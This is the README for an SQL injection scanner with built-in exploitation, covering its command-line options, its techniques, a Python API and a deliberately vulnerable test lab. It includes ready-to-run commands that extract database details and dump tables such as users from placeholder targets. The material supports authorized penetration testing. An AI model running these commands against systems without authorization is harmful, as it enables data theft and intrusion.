BreachSQL

Fast SQL injection scanner with built-in exploitation — detect and extract in one command, across all major backends, with WAF evasion baked in. No Java. No license. Drops into a Python pipeline.

# Kali / Debian / Ubuntu — use a virtual env (required on externally-managed Python)
python3 -m venv .venv && source .venv/bin/activate
pip install breachsql

# Scan and exploit in one pass
breachsql -u "https://target.com/item?id=1" --exploit

# Dump a table straight from the finding
breachsql -u "https://target.com/item?id=1" --dump users

Point it at a target. Get findings. Drop it in a pipeline.

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Why BreachSQL?

• Faster — binary-search boolean extraction, parallel surface probing, no per-request sleep loops
• Detect → exploit in one pass — --exploit extracts version, user, database, and tables immediately after a confirmed hit; --dump TABLE pulls rows without a second invocation
• Python API — from breachsql.engine import scan, ScanOptions — embed it directly in your own tooling or scripts
• Scan from spec — --openapi imports every endpoint from a Swagger/OpenAPI file and scans them all
• Curated payloads — backed by commonhuman-payloads, an auditable, versioned payload library shared across the toolchain
• Pipeline-native — structured JSON output, clean exit codes, no interactive prompts by default
• Lightweight — pure Python 3.10+, no C extensions, no Java, installs in a venv in seconds

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Quick Start

# GET parameter
breachsql -u "https://target.com/item?id=1"

# POST form
breachsql -u "https://target.com/login" -d "username=admin&password=x"

# JSON body
breachsql -u "https://target.com/api/user" -d '{"user_id": 1}'

# Cookie injection
breachsql -u "https://target.com/profile" --cookie "session_id=abc" --cookie-params session_id

# Path parameter
breachsql -u "https://target.com/item/1" --path-params id

# Time-blind with custom threshold
breachsql -u "https://target.com/search?name=x" --technique T --time-threshold 3

# Specific backend and technique
breachsql -u "https://target.com/users?id=1" --dbms mysql --technique E

# Extract version, current user, database name, and table list after detection
breachsql -u "https://target.com/users?id=1" --exploit

# Dump all rows from a specific table
breachsql -u "https://target.com/users?id=1" --dump users

# Full multi-technique scan
breachsql -u "https://target.com/report?id=1" --dbms mysql --technique EBTUS --level 2 --risk 2

# Authenticate before scanning
breachsql -u "https://target.com/app/search?q=test" \
  --login-url "https://target.com/login" \
  --login-user admin --login-pass secret

# Import all endpoints from an OpenAPI / Swagger spec
breachsql -u "https://target.com/" --openapi https://target.com/openapi.json

# Discover JS-rendered endpoints first, then scan everything
breachsql -u "https://target.com/" --browser-crawl --level 2

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Techniques

Flag	Technique	Description
E	Error-based	Database errors leak schema/data via malformed syntax
B	Boolean-blind	True/false response differences reveal data bit by bit
T	Time-blind	SLEEP() / pg_sleep() / randomblob() timing confirms injection
U	UNION-based	Column-count probing + data extraction via UNION SELECT
S	Stacked	Semicolon-delimited second statement injection

Combine with -t EBTUS to run all techniques in a single pass.

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Python API

from breachsql.engine import scan, ScanOptions

result = scan(
    "https://target.com/users?id=1",
    ScanOptions(dbms="mysql", technique="E", risk=1),
)

print(f"{result.total_findings} finding(s) in {result.duration_s:.1f}s")
for f in result.error_based:
    print(f"  [{f.technique}] {f.param} — {f.evidence}")

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Options

Option	Default	Description
-u	—	Target to use
--crawl	—	Crawl target
--dbms	auto	Target backend: mysql, mariadb, postgres, sqlite, mssql, oracle
-t / --technique	EBTUS	Techniques to run (any combo of E B T U S)
--level	1	Payload depth: 1 = standard, 2 = extended, 3 = extended + data extraction
--risk	1	Payload aggression: 1 = low, 2 = medium, 3 = high
--time-threshold	5	Seconds to consider a time-blind hit (T technique)
-d / --data	—	POST body — form-encoded or JSON
--cookie	—	Cookie string: name=val; name2=val2
--cookie-params	—	Which cookie names to inject
--header-params	—	HTTP header names to inject (e.g. X-Forwarded-For)
--path-params	—	Path segment names to treat as injection points
--second-url	—	Read URL for two-step injection
--timeout	10	Per-request timeout in seconds
--login-url	—	Login form URL — authenticates before scanning
--login-user	—	Username for form login
--login-pass	—	Password for form login
--openapi	—	OpenAPI/Swagger spec file or URL — imports endpoints to scan
--browser-crawl	—	Headless Chromium endpoint discovery (requires selenium)
--exploit	—	After detection, extract version / current user / database name / table list
--dump TABLE	—	Dump all rows from TABLE using a confirmed injection point (implies --exploit)
-o	—	Write findings to JSON file

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Fire Range

The BreachSQL Fire Range is a deliberately vulnerable Flask + MySQL + PostgreSQL + SQLite app that ships with OctoRig (lab slot 7). It provides injectable endpoints that the scanner is verified against on every change.

# Start the Fire Range (OctoRig required)
./octorig.sh start 7

# Run the full end-to-end test suite
pytest tests/test_firerange.py -v

→ Fire Range README

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Install from source

git clone https://github.com/CommonHuman-Lab/breachsql.git
cd breachsql
python3 -m venv .venv && source .venv/bin/activate
pip install -e .
pip install -e ".[dev]"   # + pytest, mypy, ruff

Requires Python 3.10+. No C extensions. On Kali and other Debian-based systems, the virtual env is required — system Python is externally managed.

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Legal & Ethical Use

Only run BreachSQL against applications you own or have explicit written authorization to test. Authorized use includes penetration testing engagements, bug bounty programs within defined scope, and CTF competitions.

--exploit and --dump extract live database content — only use them where data extraction is explicitly permitted by your engagement scope.

The authors accept no liability for unauthorized or illegal use.

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License

Licensed under the AGPLv3. You are free to use, modify, and distribute this software. If you run it as a service or distribute it, the source must remain open.

For commercial licensing, contact the author.